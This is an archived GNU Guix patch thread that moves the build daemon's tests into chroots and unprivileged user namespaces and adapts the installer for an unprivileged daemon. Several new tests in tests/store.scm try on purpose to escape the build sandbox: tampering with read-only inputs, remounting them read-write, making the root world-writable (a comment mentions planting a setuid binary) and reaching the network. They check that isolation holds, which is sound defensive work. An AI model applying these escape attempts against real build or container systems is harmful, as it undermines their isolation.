 /0AUZ9AQJrpUHOEAgGV/f3jDH+2VGfek/jm0QkG4rbb3JyVohzpVnhlYFf+cWwjRyWI4VNUhd/fSa
 NS7cQUCKyTm2ug==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v6 13/16] tests: Run in a chroot and unprivileged user
 namespaces.
Date: Mon, 17 Mar 2025 18:02:56 +0100
Message-ID: <5a3d8d90c08fd27dddf5d8c94465597bf2cded92.1742230220.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742230219.git.ludo@HIDDEN>
References: <cover.1742230219.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* build-aux/test-env.in: Pass ‘--disable-chroot’ only when unprivileged
user namespace support is lacking and warn in that case.
* tests/store.scm ("build-things, check mode"): Use ‘gettimeofday’
rather than a shared file as a source of entropy.
("symlink is symlink")
("isolated environment", "inputs are read-only")
("inputs cannot be remounted read-write")
("build root cannot be made world-readable")
("/tmp, store, and /dev/{null,full} are writable")
("network is unreachable"): New tests.
* tests/processes.scm ("client + lock"): Skip when
‘unprivileged-user-namespace-supported?’ returns true.

Change-Id: I3b3c3ebdf6db5fd36ee70251d07b893c17ca1b84
---
 build-aux/test-env.in |  18 ++-
 tests/processes.scm   |   9 +-
 tests/store.scm       | 247 ++++++++++++++++++++++++++++++++++++------
 3 files changed, 236 insertions(+), 38 deletions(-)

diff --git a/build-aux/test-env.in b/build-aux/test-env.in
index 9caa29da58..86c2e585d7 100644
--- a/build-aux/test-env.in
+++ b/build-aux/test-env.in
@@ -1,7 +1,7 @@
 #!/bin/sh
 
 # GNU Guix --- Functional package management for GNU
-# Copyright © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2021 Ludovic Courtès <ludo@HIDDEN>
+# Copyright © 2012-2019, 2021, 2025 Ludovic Courtès <ludo@HIDDEN>
 #
 # This file is part of GNU Guix.
 #
@@ -102,10 +102,24 @@ then
     rm -rf "$GUIX_STATE_DIRECTORY/daemon-socket"
     mkdir -m 0700 "$GUIX_STATE_DIRECTORY/daemon-socket"
 
+    # If unprivileged user namespaces are not supported, pass
+    # '--disable-chroot'.
+    if [ -f /proc/self/ns/user ] \
+       && { [ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \
+		|| [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ]; }
+    then
+	extra_options=""
+    else
+	extra_options="--disable-chroot"
+	echo "unprivileged user namespaces not supported; \
+running 'guix-daemon $extra_options'" >&2
+    fi
+
     # Launch the daemon without chroot support because is may be
     # unavailable, for instance if we're not running as root.
     "@abs_top_builddir@/pre-inst-env"				\
-	"@abs_top_builddir@/guix-daemon" --disable-chroot	\
+	"@abs_top_builddir@/guix-daemon"			\
+        $extra_options						\
 	--substitute-urls="$GUIX_BINARY_SUBSTITUTE_URL" &
 
     daemon_pid=$!
diff --git a/tests/processes.scm b/tests/processes.scm
index ba518f2d9e..a72ba16f58 100644
--- a/tests/processes.scm
+++ b/tests/processes.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2018 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2018, 2025 Ludovic Courtès <ludo@HIDDEN>
 ;;; Copyright © 2019 Mathieu Othacehe <m.othacehe@HIDDEN>
 ;;;
 ;;; This file is part of GNU Guix.
@@ -25,6 +25,8 @@ (define-module (test-processes)
   #:use-module (guix gexp)
   #:use-module ((guix utils) #:select (call-with-temporary-directory))
   #:use-module (gnu packages bootstrap)
+  #:use-module ((gnu build linux-container)
+                #:select (unprivileged-user-namespace-supported?))
   #:use-module (guix tests)
   #:use-module (srfi srfi-1)
   #:use-module (srfi srfi-64)
@@ -84,6 +86,11 @@ (define-syntax-rule (test-assert* description exp)
       (and (kill (process-id daemon) 0)
            (string-suffix? "guix-daemon" (first (process-command daemon)))))))
 
+(when (unprivileged-user-namespace-supported?)
+  ;; The test below assumes the build process can communicate with the outside
+  ;; world via the TOKEN1 and TOKEN2 files, which is impossible when
+  ;; guix-daemon is set up to build in separate namespaces.
+  (test-skip 1))
 (test-assert* "client + lock"
   (with-store store
     (call-with-temporary-directory
diff --git a/tests/store.scm b/tests/store.scm
index 45948f4f43..b1ddff2082 100644
--- a/tests/store.scm
+++ b/tests/store.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2012-2021, 2023 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2012-2021, 2023, 2025 Ludovic Courtès <ludo@HIDDEN>
 ;;;
 ;;; This file is part of GNU Guix.
 ;;;
@@ -28,8 +28,12 @@ (define-module (test-store)
   #:use-module (guix base32)
   #:use-module (guix packages)
   #:use-module (guix derivations)
+  #:use-module ((guix modules)
+                #:select (source-module-closure))
   #:use-module (guix serialization)
   #:use-module (guix build utils)
+  #:use-module ((gnu build linux-container)
+                #:select (unprivileged-user-namespace-supported?))
   #:use-module (guix gexp)
   #:use-module (gnu packages)
   #:use-module (gnu packages bootstrap)
@@ -391,6 +395,188 @@ (define %shell
          (equal? (valid-derivers %store o)
                  (list (derivation-file-name d))))))
 
+(test-assert "symlink is symlink"
+  (let* ((a (add-text-to-store %store "hello.txt" (random-text)))
+         (b (build-expression->derivation
+             %store "symlink"
+             '(symlink (assoc-ref %build-inputs "a") %output)
+             #:inputs `(("a" ,a))))
+         (c (build-expression->derivation
+             %store "symlink-reference"
+             `(call-with-output-file %output
+                (lambda (port)
+                  ;; Check that B is indeed visible as a symlink.  This should
+                  ;; always be the case, both in the '--disable-chroot' and in
+                  ;; the user namespace setups.
+                  (pk 'stat (lstat (assoc-ref %build-inputs "b")))
+                  (display (readlink (assoc-ref %build-inputs "b"))
+                           port)))
+             #:inputs `(("b" ,b)))))
+    (and (build-derivations %store (list c))
+         (string=? (call-with-input-file (derivation->output-path c)
+                     get-string-all)
+                   a))))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-equal "isolated environment"
+  (string-join (append
+                '("PID: 1" "UID: 30001")
+                (delete-duplicates
+                 (sort (list "/dev" "/tmp" "/proc" "/etc"
+                             (match (string-tokenize (%store-prefix)
+                                                     (char-set-complement
+                                                      (char-set #\/)))
+                               ((top _ ...) (string-append "/" top))))
+                       string<?))
+                '("/etc/group" "/etc/hosts" "/etc/passwd")))
+  (let* ((b (add-text-to-store %store "build.sh"
+                               "echo -n PID: $$ UID: $UID /* /etc/* > $out"))
+         (s (add-to-store %store "bash" #t "sha256"
+                          (search-bootstrap-binary "bash"
+                                                   (%current-system))))
+         (d (derivation %store "the-thing"
+                        s `("-e" ,b)
+                        #:env-vars `(("foo" . ,(random-text)))
+                        #:sources (list b s)))
+         (o (derivation->output-path d)))
+    (and (build-derivations %store (list d))
+         (call-with-input-file o get-string-all))))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-equal "inputs are read-only"
+  "All good!"
+  (let* ((input (plain-file (string-append "might-be-tampered-with-"
+                                           (number->string
+                                            (car (gettimeofday))
+                                            16))
+                            "All good!"))
+         (drv
+          (run-with-store %store
+            (gexp->derivation
+             "attempt-to-write-to-input"
+             (with-imported-modules (source-module-closure
+                                     '((guix build syscalls)))
+               #~(begin
+                   (use-modules (guix build syscalls))
+
+                   (let ((input #$input))
+                     (chmod input #o666)
+                     (call-with-output-file input
+                       (lambda (port)
+                         (display "BAD!" port)))
+                     (mkdir #$output))))))))
+    (and (guard (c ((store-protocol-error? c) #t))
+           (build-derivations %store (list drv)))
+         (call-with-input-file (run-with-store %store
+                                 (lower-object input))
+           get-string-all))))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-assert "inputs cannot be remounted read-write"
+  (let ((drv
+         (run-with-store %store
+           (gexp->derivation
+            "attempt-to-remount-input-read-write"
+            (with-imported-modules (source-module-closure
+                                    '((guix build syscalls)))
+              #~(begin
+                  (use-modules (guix build syscalls))
+
+                  (let ((input #$(plain-file "input-that-might-be-tampered-with"
+                                             "All good!")))
+                    (mount "none" input "none" (logior MS_BIND MS_REMOUNT))
+                    (call-with-output-file input
+                      (lambda (port)
+                        (display "BAD!" port)))
+                    (mkdir #$output))))))))
+    (guard (c ((store-protocol-error? c) #t))
+      (build-derivations %store (list drv))
+      #f)))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-assert "build root cannot be made world-readable"
+  (let ((drv
+         (run-with-store %store
+           (gexp->derivation
+            "attempt-to-make-root-world-readable"
+            (with-imported-modules (source-module-closure
+                                    '((guix build syscalls)))
+              #~(begin
+                  (use-modules (guix build syscalls))
+
+                  (catch 'system-error
+                    (lambda ()
+                      (chmod "/" #o777))
+                    (lambda args
+                      (format #t "failed to make root writable: ~a~%"
+                              (strerror (system-error-errno args)))
+                      (format #t "attempting read-write remount~%")
+                      (mount "none" "/" "/" (logior MS_BIND MS_REMOUNT))
+                      (chmod "/" #o777)))
+
+                  ;; At this point, the build process could create a
+                  ;; world-readable setuid binary under its root (so in the
+                  ;; store) that would remain visible until the build
+                  ;; completes.
+                  (mkdir #$output)))))))
+    (guard (c ((store-protocol-error? c) #t))
+      (build-derivations %store (list drv))
+      #f)))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-assert "/tmp, store, and /dev/{null,full} are writable"
+  ;; All of /tmp and all of the store must be writable (the store is writable
+  ;; so that derivation outputs can be written to it, but in practice it's
+  ;; always been wide open).  Things like /dev/null must be writable too.
+  (let ((drv (run-with-store %store
+               (gexp->derivation
+                "check-tmp-and-store-are-writable"
+                #~(begin
+                    (mkdir "/tmp/something")
+                    (mkdir (in-vicinity (getenv "NIX_STORE")
+                                        "some-other-thing"))
+                    (call-with-output-file "/dev/null"
+                      (lambda (port)
+                        (display "Welcome to the void." port)))
+                    (catch 'system-error
+                      (lambda ()
+                        (call-with-output-file "/dev/full"
+                          (lambda (port)
+                            (display "No space left!" port)))
+                        (error "Should have thrown!"))
+                      (lambda args
+                        (unless (= ENOSPC (system-error-errno args))
+                          (apply throw args))))
+                    (mkdir #$output))))))
+    (build-derivations %store (list drv))))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-assert "network is unreachable"
+  (let ((drv (run-with-store %store
+               (gexp->derivation
+                "check-network-unreachable"
+                #~(let ((check-connection-failure
+                         (lambda (address expected-code)
+                           (let ((s (socket AF_INET SOCK_STREAM 0)))
+                             (catch 'system-error
+                               (lambda ()
+                                 (connect s AF_INET (inet-pton AF_INET address) 80))
+                               (lambda args
+                                 (let ((errno (system-error-errno args)))
+                                   (unless (= expected-code errno)
+                                     (error "wrong error code"
+                                            errno (strerror errno))))))))))
+                    (check-connection-failure "127.0.0.1" ECONNREFUSED)
+                    (check-connection-failure "9.9.9.9" ENETUNREACH)
+                    (mkdir #$output))))))
+    (build-derivations %store (list drv))))
+
 (test-equal "with-build-handler"
   'success
   (let* ((b  (add-text-to-store %store "build" "echo $foo > $out" '()))
@@ -1333,40 +1519,31 @@ (define %shell
 
 (test-assert "build-things, check mode"
   (with-store store
-    (call-with-temporary-output-file
-     (lambda (entropy entropy-port)
-       (write (random-text) entropy-port)
-       (force-output entropy-port)
-       (let* ((drv  (build-expression->derivation
-                     store "non-deterministic"
-                     `(begin
-                        (use-modules (rnrs io ports))
-                        (let ((out (assoc-ref %outputs "out")))
-                          (call-with-output-file out
-                            (lambda (port)
-                              ;; Rely on the fact that tests do not use the
-                              ;; chroot, and thus ENTROPY is readable.
-                              (display (call-with-input-file ,entropy
-                                         get-string-all)
-                                       port)))
-                          #t))
-                     #:guile-for-build
-                     (package-derivation store %bootstrap-guile (%current-system))))
-              (file (derivation->output-path drv)))
-         (and (build-things store (list (derivation-file-name drv)))
-              (begin
-                (write (random-text) entropy-port)
-                (force-output entropy-port)
-                (guard (c ((store-protocol-error? c)
-                           (pk 'determinism-exception c)
-                           (and (not (zero? (store-protocol-error-status c)))
-                                (string-contains (store-protocol-error-message c)
-                                                 "deterministic"))))
-                  ;; This one will produce a different result.  Since we're in
-                  ;; 'check' mode, this must fail.
-                  (build-things store (list (derivation-file-name drv))
-                                (build-mode check))
-                  #f))))))))
+    (let* ((drv  (build-expression->derivation
+                  store "non-deterministic"
+                  `(begin
+                     (use-modules (rnrs io ports))
+                     (let ((out (assoc-ref %outputs "out")))
+                       (call-with-output-file out
+                         (lambda (port)
+                           (let ((now (gettimeofday)))
+                             (display (+ (car now) (cdr now)) port))))
+                       #t))
+                  #:guile-for-build
+                  (package-derivation store %bootstrap-guile (%current-system))))
+           (file (derivation->output-path drv)))
+      (and (build-things store (list (derivation-file-name drv)))
+           (begin
+             (guard (c ((store-protocol-error? c)
+                        (pk 'determinism-exception c)
+                        (and (not (zero? (store-protocol-error-status c)))
+                             (string-contains (store-protocol-error-message c)
+                                              "deterministic"))))
+               ;; This one will produce a different result.  Since we're in
+               ;; 'check' mode, this must fail.
+               (build-things store (list (derivation-file-name drv))
+                             (build-mode check))
+               #f))))))
 
 (test-assert "build-succeeded trace in check mode"
   (string-contains
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 17 Mar 2025 17:05:56 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Mar 17 13:05:56 2025
Received: from localhost ([127.0.0.1]:60704 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tuDuU-00030J-1h
	for submit <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:05:56 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:58514)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tuDta-0002k6-Fz
 for 75810 <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:04:59 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tuDtU-0005Rj-Lx; Mon, 17 Mar 2025 13:04:52 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=zRzyCRKNi7OLYtMltAIWBXxpQUCJgq5z2G4rnUFbrMY=; b=h62nyM8vYaVwGKubCdFq
 PONw6a8oB5bLl4a3cWbte5PhVAmLUQ6JrGX2FKo9oFe8trha3S8LKiB8y3IbGbxj9fXsL+SAaF8AW
 aLkTbSPn8jgIdAhBXWhhv0j/5kXMsS10gFgRV1mmSIblDmayudaf6nm132UMmeiekROPzauowudCJ
 3j10ylsWwkXzpez/6yhtF9I1rI3nHcUpN4F9/5njogbetbfZcgNaoNZ64sBdVnLhvKqh/klATnLIM
 zbU8+wCDu5FplQETzhDMv8lmtbGwt6hwLLgwLP4HeMZkVUZgmJ5t2l603Agj1gKkFQ0Dkaos1DQNf
 xp2Ikj5+O1/qYQ==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v6 15/16] guix-install.sh: Support the unprivileged daemon
 where possible.
Date: Mon, 17 Mar 2025 18:02:58 +0100
Message-ID: <07c5b1b1ef05c002ad7092976e67eceb45f0c5da.1742230220.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742230219.git.ludo@HIDDEN>
References: <cover.1742230219.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* etc/guix-install.sh (create_account): New function.
(sys_create_build_user): Use it.  When ‘guix-daemon.service’ contains
“User=guix-daemon” only create the ‘guix-daemon’ user and group.
(sys_delete_build_user): Delete the ‘guix-daemon’ user and group.
(can_install_unprivileged_daemon): New function.
(sys_create_store): When installing the unprivileged daemon, change
ownership of /gnu and /var/guix, and create /var/log/guix.
(sys_authorize_build_farms): When the ‘guix-daemon’ account exists,
change ownership of /etc/guix.

Change-Id: I73e573f1cc5c0cb3794aaaa6b576616b66e0c5e9
---
 etc/guix-install.sh | 124 +++++++++++++++++++++++++++++++++++---------
 1 file changed, 99 insertions(+), 25 deletions(-)

diff --git a/etc/guix-install.sh b/etc/guix-install.sh
index 8887204df4..30e4bc4223 100755
--- a/etc/guix-install.sh
+++ b/etc/guix-install.sh
@@ -414,6 +414,11 @@ sys_create_store()
     cd "$tmp_path"
     _msg_info "Installing /var/guix and /gnu..."
     # Strip (skip) the leading ‘.’ component, which fails on read-only ‘/’.
+    #
+    # TODO: Eventually extract with ‘--owner=guix-daemon’ when installing
+    # and unprivileged guix-daemon service; for now, this script may install
+    # from both an old release that does not support unprivileged guix-daemon
+    # and a new release that does, so ‘chown -R’ later if needed.
     tar --extract --strip-components=1 --file "$pkg" -C /
 
     _msg_info "Linking the root user's profile"
@@ -441,38 +446,95 @@ sys_delete_store()
     rm -rf ~root/.config/guix
 }
 
+create_account()
+{
+    local user="$1"
+    local group="$2"
+    local supplementary_groups="$3"
+    local comment="$4"
+
+    if id "$user" &>/dev/null; then
+	_msg_info "user '$user' is already in the system, reset"
+	usermod -g "$group" -G "$supplementary_groups"	\
+		-d /var/empty -s "$(which nologin)"	\
+		-c "$comment" "$user"
+    else
+	useradd -g "$group" -G "$supplementary_groups"	\
+		-d /var/empty -s "$(which nologin)"	\
+		-c "$comment" --system "$user"
+	_msg_pass "user added <$user>"
+    fi
+}
+
+install_unprivileged_daemon()
+{ # Return true when installing guix-daemon running without privileges.
+    [ "$INIT_SYS" = systemd ] && \
+	grep -q "User=guix-daemon" \
+	     ~root/.config/guix/current/lib/systemd/system/guix-daemon.service
+}
+
 sys_create_build_user()
 { # Create the group and user accounts for build users.
 
     _debug "--- [ ${FUNCNAME[0]} ] ---"
 
-    if getent group guixbuild > /dev/null; then
-        _msg_info "group guixbuild exists"
-    else
-        groupadd --system guixbuild
-        _msg_pass "group <guixbuild> created"
-    fi
-
     if getent group kvm > /dev/null; then
         _msg_info "group kvm exists and build users will be added to it"
         local KVMGROUP=,kvm
     fi
 
-    for i in $(seq -w 1 10); do
-        if id "guixbuilder${i}" &>/dev/null; then
-            _msg_info "user is already in the system, reset"
-            usermod -g guixbuild -G guixbuild"$KVMGROUP"     \
-                    -d /var/empty -s "$(which nologin)" \
-                    -c "Guix build user $i"             \
-                    "guixbuilder${i}";
-        else
-            useradd -g guixbuild -G guixbuild"$KVMGROUP"     \
-                    -d /var/empty -s "$(which nologin)" \
-                    -c "Guix build user $i" --system    \
-                    "guixbuilder${i}";
-            _msg_pass "user added <guixbuilder${i}>"
-        fi
-    done
+    if install_unprivileged_daemon
+    then
+	_msg_info "installing guix-daemon to run as an unprivileged user"
+
+	# Installing guix-daemon to run as a non-root user requires
+	# unprivileged user namespaces.
+	if [ -f /proc/sys/kernel/unprivileged_userns_clone ] \
+	       && [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -ne 1 ]
+	then
+	    echo 1 > /proc/sys/kernel/unprivileged_userns_clone || \
+		_err "failed to enable unprivileged user namespaces"
+
+	    _msg_warn "Unprivileged user namespaces were disabled and have been enabled now."
+	    _msg_warn "This Linux feature is required by guix-daemon.  To enable it permanently, run:"
+	    _msg_warn '  echo 1 > /proc/sys/kernel/unprivileged_userns_clone'
+	    _msg_warn "from the relevant startup script."
+	fi
+
+
+	if getent group guix-daemon > /dev/null; then
+	    _msg_info "group guix-daemon exists"
+	else
+	    groupadd --system guix-daemon
+	    _msg_pass "group guix-daemon created"
+	fi
+
+	create_account guix-daemon guix-daemon		\
+		       guix-daemon$KVMGROUP		\
+		       "Unprivileged Guix Daemon User"
+
+	# ‘tar xf’ creates root:root files.  Change that.
+	chown -R guix-daemon:guix-daemon /gnu /var/guix
+	chown -R root:root /var/guix/profiles/per-user/root
+
+	# The unprivileged daemon cannot create the log directory by itself.
+	mkdir /var/log/guix
+	chown guix-daemon:guix-daemon /var/log/guix
+	chmod 755 /var/log/guix
+    else
+	if getent group guixbuild > /dev/null; then
+            _msg_info "group guixbuild exists"
+	else
+            groupadd --system guixbuild
+            _msg_pass "group <guixbuild> created"
+	fi
+
+	for i in $(seq -w 1 10); do
+	    create_account "guixbuilder${i}" "guixbuild"	\
+	                   "guixbuild${KVMGROUP}"		\
+			   "Guix build user $i"
+	done
+    fi
 }
 
 sys_delete_build_user()
@@ -487,6 +549,14 @@ sys_delete_build_user()
     if getent group guixbuild &>/dev/null; then
         groupdel -f guixbuild
     fi
+
+    _msg_info "remove guix-daemon user"
+    if id guix-daemon &>/dev/null; then
+	userdel -f guix-daemon
+    fi
+    if getent group guix-daemon &>/dev/null; then
+	groupdel -f guix-daemon
+    fi
 }
 
 sys_enable_guix_daemon()
@@ -529,11 +599,11 @@ sys_enable_guix_daemon()
 
               # Install after guix-daemon.service to avoid a harmless warning.
               # systemd .mount units must be named after the target directory.
-              # Here we assume a hard-coded name of /gnu/store.
-              install_unit gnu-store.mount
+	      install_unit gnu-store.mount
 
               systemctl daemon-reload &&
-                  systemctl start  guix-daemon; } &&
+                  systemctl start guix-daemon &&
+	          systemctl start gnu-store.mount; } &&
                 _msg_pass "enabled Guix daemon via systemd"
             ;;
         sysv-init)
@@ -654,6 +724,10 @@ project's build farms?"; then
 		&& guix archive --authorize < "$key" \
 		&& _msg_pass "Authorized public key for $host"
 	done
+	if id guix-daemon &>/dev/null; then
+	    # /etc/guix/acl must be readable by the unprivileged guix-daemon.
+	    chown -R guix-daemon:guix-daemon /etc/guix
+	fi
     else
         _msg_info "Skipped authorizing build farm public keys"
     fi
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 17 Mar 2025 17:05:10 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Mar 17 13:05:10 2025
Received: from localhost ([127.0.0.1]:60686 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tuDtj-0002o1-IM
	for submit <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:05:10 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:58488)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tuDtZ-0002jr-4o
 for 75810 <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:04:58 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tuDtR-0005Qh-Ez; Mon, 17 Mar 2025 13:04:49 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=b8CNe7Kd4LDHNqpleCFnb1ypaRvesBWH130JtOnxyOw=; b=IAvTkoPFgaQ7403jl2xe
 5AS96mRUYph6k95Y99rabeGOavSli3AOCUaYKzrndU+HxdxLn88AAa94aItB2xTNnh7l2UrM9SS4L
 wpjtIObGUqsCvIR0aYoJNKbX/2DqMWym/l9HeRvfolepSWateDRnl1LBLgF8f2TbcO9/6DA8HeBbG
 j9aiJGSEIMm6FoHJKZx1R3SwrDtULvT/mAkHr60cwajkgS7OKjM2689YEE1Yq3/VltY/+cd4dHbH5
 TGJvBY351tvFKfs+waLzfciuUN5oR2sguTvS20wvhb2jABJuN/2kOmQzruMMC4McPnPhcqk0iQtkR
 RdFDyyC6V78a7A==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v6 12/16] tests: Add missing derivation inputs.
Date: Mon, 17 Mar 2025 18:02:55 +0100
Message-ID: <1521a5f93fbcc986c8d814298bc2cd0af5a73444.1742230220.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742230219.git.ludo@HIDDEN>
References: <cover.1742230219.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

These missing inputs go unnoticed when running ‘guix-daemon
--disable-chroot’ but are immediately visible otherwise.

* tests/derivations.scm ("fixed-output derivation"): Add %BASH to #:sources.
("fixed-output derivation: output paths are equal"):
("fixed-output derivation, recursive"):
("derivation with a fixed-output input"):
("derivation with duplicate fixed-output inputs"):
("derivation with equivalent fixed-output inputs"):
("build derivation with coreutils"): Likewise.
* tests/packages.scm (bootstrap-binary): New procedure.
("package-source-derivation, origin, sha512"): Use it instead of
‘search-bootstrap-binary’ and add BASH to #:sources.
("package-source-derivation, origin, sha3-512"): Likewise.

Change-Id: I4c9087df23c47729a3aff15e9e1435b7266e36e2
---
 tests/derivations.scm | 24 +++++++++++++++---------
 tests/packages.scm    | 13 +++++++++----
 2 files changed, 24 insertions(+), 13 deletions(-)

diff --git a/tests/derivations.scm b/tests/derivations.scm
index 72ea9aa9cc..f30f05474e 100644
--- a/tests/derivations.scm
+++ b/tests/derivations.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2012-2024 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2012-2025 Ludovic Courtès <ludo@HIDDEN>
 ;;;
 ;;; This file is part of GNU Guix.
 ;;;
@@ -443,7 +443,7 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
                                      (string-append
                                       "fixed-" (symbol->string hash-algorithm))
                                      %bash `(,builder)
-                                     #:sources `(,builder) ;optional
+                                     #:sources (list %bash builder)
                                      #:hash hash
                                      #:hash-algo hash-algorithm)))
            (build-derivations %store (list drv))
